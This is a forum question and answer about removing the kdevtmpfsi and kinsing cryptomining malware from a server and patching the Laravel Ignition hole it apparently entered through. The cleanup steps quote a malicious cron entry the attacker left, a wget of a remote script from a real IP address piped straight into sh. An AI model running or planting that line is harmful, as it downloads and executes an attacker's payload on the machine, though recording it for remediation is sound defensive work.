kdevtmpfsi using the entire CPU

Question

We are using an EC2(Ubuntu) amazon instance for running Apache.Recently we noticed that there is a process using the entire CPU.

We removed it using the help of the following procedure

[root@hadoop002 tmp]# systemctl status 25177
● session-5772.scope - Session 5772 of user root
   Loaded: loaded (/run/systemd/system/session-5772.scope; static; vendor preset: disabled)
  Drop-In: /run/systemd/system/session-5772.scope.d
           └─50-After-systemd-logind\x2eservice.conf, 50-After-systemd-user-sessions\x2eservice.conf, 50-Description.conf, 50-SendSIGHUP.conf, 50-Slice.conf, 50-TasksMax.conf
   Active: active (abandoned) since Wed 2020-01-22 16:06:01 CST; 1h 21min ago
   CGroup: /user.slice/user-0.slice/session-5772.scope
           ├─19331 /var/tmp/kinsing
           └─25177 /tmp/kdevtmpfsi

Jan 22 16:06:17 hadoop002 crontab[19353]: (root) REPLACE (root)
Jan 22 16:06:17 hadoop002 crontab[19354]: (root) LIST (root)
Jan 22 16:06:17 hadoop002 crontab[19366]: (root) LIST (root)
Jan 22 16:06:17 hadoop002 crontab[19374]: (root) REPLACE (root)
Jan 22 16:06:17 hadoop002 crontab[19375]: (root) LIST (root)
Jan 22 16:06:17 hadoop002 crontab[19383]: (root) REPLACE (root)
Jan 22 16:06:17 hadoop002 crontab[19389]: (root) REPLACE (root)
Jan 22 16:06:17 hadoop002 crontab[19390]: (root) LIST (root)
Jan 22 16:06:17 hadoop002 crontab[19392]: (root) REPLACE (root)
Jan 22 16:06:17 hadoop002 crontab[19393]: (root) LIST (root)
[root@hadoop002 tmp]# ps -ef|grep kinsing
root     19331     1  0 16:06 ?        00:00:04 /var/tmp/kinsing
root     25190 23274  0 17:27 pts/0    00:00:00 grep --color=auto kinsing
[root@hadoop002 tmp]# ps -ef|grep kdevtmpfsi
root     25177     1 99 17:27 ?        00:01:47 /tmp/kdevtmpfsi
root     25197 23274  0 17:28 pts/0    00:00:00 grep --color=auto kdevtmpfsi
[root@hadoop002 tmp]# kill -9 19331
[root@hadoop002 tmp]# kill -9 25177
[root@hadoop002 tmp]# rm -rf kdevtmpfsi
[root@hadoop002 tmp]# cd /var/tmp/
[root@hadoop002 tmp]# ll
total 16692
-rw-r--r-- 1 root root        0 Jan 13 19:45 aliyun_assist_update.lock
-rwxr-xr-x 1 root root    13176 Dec 20 02:14 for
-rwxr-xr-x 1 root root 17072128 Jan 19 17:43 kinsing
drwx------ 3 root root     4096 Jan 13 19:50 systemd-private-f3342ea6023044bda27f0261d2582ea3-chronyd.service-O7aPIg
[root@hadoop002 tmp]# rm -rf kinsing

But after a few minutes, It again started automatically. Anyone know how to fix this?

Answer 1

I had the same issue with Laravel in Centos 8, This is the steps I followed to remove the malware and patch the system.

---

Removing the malware from system steps: Step 1:

Remove the malware:
Kill the two process (kdevtmpfsi and kinsing -They can be in the same name but with random characters at the end-) using htop or any other process manager.

htop F3 to search services kdevtmpfsi And kinsing

Use the following to find and delete the files:

# find / -iname kdevtmpfsi* -exec rm -fv {} \;
# find / -iname kinsing* -exec rm -fv {} \;

The output should look like:

removed '/tmp/kdevtmpfsi962782589'
removed '/tmp/kdevtmpfsi'
removed '/tmp/kinsing'
removed '/tmp/kinsing_oA1GECLm'

Step 2:

Check for a cron job:
check if there is a cron job that would reinitialized the malware.
I found mine in: /var/spool/cron/apache >

UBUNTU /var/spool/cron/crontabs/www-data

It included the following :
* * * * * wget -q -O - http://195.3.146.118/lr.sh | sh > /dev/null 2>&1

Step 3:

Make new files and make them readonly:

# touch /tmp/kdevtmpfsi && touch /tmp/kinsing
# echo "kdevtmpfsi is fine now" > /tmp/kdevtmpfsi
# echo "kinsing is fine now" > /tmp/kinsing
# chmod 0444 /tmp/kdevtmpfsi
# chmod 0444 /tmp/kinsing

---

Patching Laravel project: Step 1:

Turn off APP_DEBUG:
make sure that the APP_DEBUG attribute is false in .env because that's how the vulnerability gets access.

Step 2:

Update ignition:
Update ignition to a version higher than 2.5.1 to make sure the vulnerability is patched.
run the following in your project folder:

$ composer update facade/ignition